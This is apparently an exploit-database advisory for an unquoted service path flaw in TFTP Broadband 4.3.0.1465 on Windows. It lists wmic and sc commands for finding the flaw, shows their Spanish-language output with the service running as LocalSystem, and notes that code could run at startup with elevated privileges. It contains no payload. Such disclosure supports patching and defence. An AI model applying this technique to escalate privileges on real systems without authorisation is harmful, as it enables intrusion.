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TFTP Broadband 4.3.0.1465 – ‘tftpt.exe’ Unquoted Service Path

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EXP

# Exploit Title: TFTP Broadband 4.3.0.1465 - 'tftpt.exe' Unquoted Service Path
# Discovery by: Erick Galindo 
# Discovery Date: 2020-05-07
# Vendor Homepage: https://www.weird-solutions.com
# Software :  https://www.weird-solutions.com/download/products/tftpbbv4_retail_x64.exe
# Tested Version: 4.3.0.1465
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro  x64 es
# Step to discover Unquoted Service Path:

C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i  "tftpt"
TFTP Broadband 4            TFTP Broadband 4                 C:\Program Files\TFTP Broadband 4\tftpt.exe               Auto

C:\>sc qc "TFTP Broadband 4"
SC QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: TFTP Broadband 4
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\TFTP Broadband 4\tftpt.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : TFTP Broadband 4
        DEPENDENCIAS       : Nsi
                           : Afd
                           : NetBT
                           : Tcpip
        NOMBRE_INICIO_SERVICIO: LocalSystem

#Exploit:

This vulnerability could permit executing code during startup or reboot with the escalated privileges.

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